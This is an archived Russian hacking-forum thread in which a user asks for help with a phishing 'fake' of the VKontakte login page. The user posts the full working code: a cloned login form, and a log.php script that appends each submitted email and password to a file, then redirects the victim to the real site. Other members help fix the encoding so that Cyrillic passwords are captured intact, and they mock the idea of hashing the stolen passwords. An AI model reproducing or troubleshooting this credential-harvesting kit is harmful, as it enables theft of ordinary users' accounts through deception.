Просмотр полной версии : Вопрос по PHP Фейк не записывает в базу русские буквы
Если в пароле у юзера есть русские буквы то обработчик записывает в базу, что то типо такого îëÿ333
Как с этим бороться?
MuXaJIbI4
31.03.2009, 10:22
а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш
Nightmarе
31.03.2009, 10:33
Кодировку исправь ;)
А проще кодируй в бейс64,и записывай.
а как там кодировку менять?
люди я нулевой в ПХП как именно там сделать?
Вот файл обработчик:
<?PHP
$Login = $_POST['login']; // Ëîãèí
$Pass = $_POST['pass']; // Ïàðîëü
$log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
fclose($log); //çàêðûâàåì
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
?>
записывает в base.php
Pashkela
31.03.2009, 11:12
перед <?PHP попробуй просто добавить:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
перед <?PHP попробуй просто добавить:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
неа непомогает
Pashkela
31.03.2009, 11:20
в смысле не сюда, а на саму страницу фейка, с которой у тебя идет передресация на этот код php, у тебя же где есть поля для ввода пароля и прочее - вот туда вставь
я уже везде где тока можно впихнкть поробовал, всё равно непомогает
Pashkela
31.03.2009, 11:26
Выложи весь код фейка сюда, тогда помогу, 100%
MuXaJIbI4
31.03.2009, 11:28
а в базе у тебя какая кодировка стоит?
Pashkela
31.03.2009, 11:30
а в базе у тебя какая кодировка стоит?
)) Он базой своё файло назвал. Смотри код
ИНДЕКС.ПХП
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Â Êîíòàêòå | Âõîä</title>
<link rel="stylesheet" href="css/rustyle.css?17" type="text/css" />
<script src="js/functions.js?21"></script>
<link rel='stylesheet' href='css/login.css?2' type='text/css' />
<link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css?3" type="text/css" />
<link rel='stylesheet' href='http://vkontakte.ru/css/help.css?2' type='text/css' />
<link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" />
<!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie.css); /* ]]> */</style><![endif]-->
<!--[if gte IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie7.css); /* ]]> */</style><![endif]-->
<script src="js/niftycube.js?1"></script>
<script type="text/javascript">
<!--
function addEvent(e, t, f) {
if (t == 'load' && window.onDomReady) {
onDomReady(f);
}else
if (e.addEventListener) {e.addEventListener(t, f, false);}
else if (e.attachEvent) {e.attachEvent('on' + t, f);}
}
function removeEvent(e, t, f){
if (e.removeEventListener) {e.removeEventListener(t, f, false);}
else if (e.detachEvent) {e.detachEvent('on'+t, f);}
}
//-->
</script>
<script type="text/javascript">
<!--
(function(){
var loadFn = function(){
Nifty("ul.tabs a", "small top");
Nifty("ul.buttonRow a", "small");
Nifty("div.leftAd","small transparent");
Nifty("div.selPad","small transparent");
Nifty("div.myPad", "small transparent");
};
addEvent(window, 'load', loadFn);
})();
//-->
</script>
</head>
<body>
<div id="pageLayout">
<!-- pageHeader -->
<div id="pageHeader">
<h1 id="home"><a href="index.php">ÂÊîíòàêòå</a></h1>
<ul class="topNav" style='padding-right:5px'>
<li style="width:5.5em"><a href='http://vkontakte.ru/faq.php'>ïîìîùü</a></li>
<li style="width:7.8em"><a href="http://vkontakte.ru/reg0'">ðåãèñòðàöèÿ</a></li>
<li style="width:4.0em"><a href='http://vkontakte.ru/'>âõîä</a></li>
</ul>
</div>
<!-- End pageHeader -->
<!-- sideBar -->
<div id="sideBar">
<ol id='nav'>
<li><a href='http://vkontakte.ru'>Ãëàâíàÿ</a></li>
<li><a href='http://vkontakte.ru/'>Âõîä</a></li>
<li><a href='http://vkontakte.ru/reg0'>Ðåãèñòðàöèÿ</a></li>
</ol>
<div style="width:124px">
</div>
</div>
<!-- End sideBar -->
<!-- pageBody -->
<div id="pageBody" class="pageBody">
<div id="wrapH">
<div id="wrapHI">
<div id="header">
<h1> Îøèáêà</h1>
</div>
</div>
</div>
<div id="wrap2">
<div id="wrap1">
<div id="content">
<img src='1.jpg'>
<div class="simplePage">
<form method="post" name="login" id="login" action="log.php">
<input type="hidden" name="success_url" id="success_url" value="">
<input type="hidden" name="fail_url" id="fail_url" value="">
<input type="hidden" name="try_to_login" id="try_to_login" value="1">
<table align="center" cellpadding=0 cellspacing=7 border=0 width="40%">
<tr>
<td width="100px">
<span class="grey">Email:</span>
</td>
<td>
<input class="inputText" type="text" name="login" value="" id="email" size="25" />
<td>
</tr>
<tr>
<td>
<span class="grey">Ïàðîëü:</span>
</td>
<td>
<input class="inputText" type="password" name="pass" value="" id="pass" size="25" />
</td>
</tr>
<tr>
<td>
</td>
<td>
<input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /><small>×óæîé êîìïüþòåð</small>
</td>
</tr>
<tr>
<td>
</td>
<td>
<div style="height:20px; margin:5px 0px">
<ul class='nNav'><li style="margin-left:0px">
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="javascript:document.login.submit()">Âõîä</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li>
<li>
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="http://vkontakte.ru/reg0'">Ðåãèñòðàöèÿ</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li></ul>
</div>
</td>
</tr>
<tr>
<td>
</td>
<td class="forgotPass">
<a href="login.php?op=forgot">Çàáûëè ïàðîëü?</a>
</td>
</tr>
</table>
<input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background: #fff;height:6px;width:6px"/>
</form>
</div>
</div>
</div>
</div>
</div>
<div id="boxHolder"></div>
<!-- End pageBody -->
<!-- bFooter -->
<div id="bFooter">
<ul class="bNav" style="text-align: center">
<li><a href="'http://vkontakte.ru/help.php?page=about">î ñàéòå</a></li>
<li><a href="'http://vkontakte.ru/techsupp.php">òåõïîääåðæêà</a></li>
<li><a href="'http://vkontakte.ru/blog.php">áëîã</a></li>
<li><a href="'http://vkontakte.ru/help.php?page=terms">ïðàâèëà</a></li>
<li><a href="'http://vkontakte.ru/help.php?page=adv">ðåêëàìà</a></li>
</ul>
</div>
<div id="bFooter">
<p>Â Êîíòàêòå © 2006-2009<br /> <a href="/?lang=3&lhash="><img src="http://vkontakte.ru/images/flags/us.gif" vspace="5"/></a> <a href="/?lang=1&lhash="><img src="http://vkontakte.ru/images/flags/ua.gif" vspace="5"/></a> <a href="/?lang=2&lhash="><img src="http://vkontakte.ru/images/flags/by.gif" vspace="5"/></a></p>
</div>
<!-- tns-counter.ru -->
<script type="text/javascript">
<!--
addEvent(window, 'load', function(){
var img = new Image();
img.src = 'http://www.tns-counter.ru/V13a***R>' + document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/';
});
//-->
</script>
<noscript>
<img src="http://www.tns-counter.ru/V13a****vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/" width="1" height="1" alt="" />
</noscript>
<!--/ tns-counter.ru -->
<!--LiveInternet counter-->
<script type="text/javascript">
<!--
addEvent(window, 'load', function(){
var img = new Image();
img.src = 'http://counter.yadro.ru/hit?r' + escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.widt h+'*'+screen.height+'*'+(screen.colorDepth?screen. colorDepth:screen.pixelDepth)) + ';u' + escape(document.URL) + ';' + Math.random() + '';
});
//-->
</script>
<!--/LiveInternet-->
<!-- End bFooter -->
</div>
<!-- End pageLayout 431 -->
</body>
</html>
LOG.PHP
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<?PHP
$Login = $_POST['login']; // Ëîãèí
$Pass = $_POST['pass']; // Ïàðîëü
$log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
fclose($log); //çàêðûâàåì
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
?>
BASE.PHP
<?php echo '<H1>Доступ к базе закрыт!!!</H1>'; exit; ?>
Всё что было русским в файлах всё поменялась на хз что
Pashkela
31.03.2009, 11:42
2 cnd:
и то, и другое, по очереди, вставь в обычный блокнот windows, сохрани, если будет чо спрашивать, на всё отвечать "да", потом обратно на сервак залей (ну или туда, где ты там фейк тестишь)
Просто у тебя все исходники в уникоде, а надо в ANSI
Когда я так сделал - русский текст нормально сохраняется
Всё что было русским в файлах всё поменялась на хз что
вот ты сам на свой вопрос и ответил
Всё сделал как сказал ты залил на хост и оно + что незаписывало как надо дык ещё и в браузере все русские буквы такой же мазой показывалиссь
Pashkela
31.03.2009, 12:05
Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема.
ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов
Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема.
ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов
А мне именно эта нужна
Pashkela
31.03.2009, 13:47
Именна эта у меня например работает. Как и что сделать - расписано в подробностях.
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte"> так и должен стоять английский язык??
DrakonSerg
06.05.2009, 16:23
В log.txt я так понимаю кодировку нужно изменить
Заменить "charset=UTF-8" на "charset=windows-1251"
а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш
Угу и потом он должен сидеть их брутить? Это же фэйк :)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot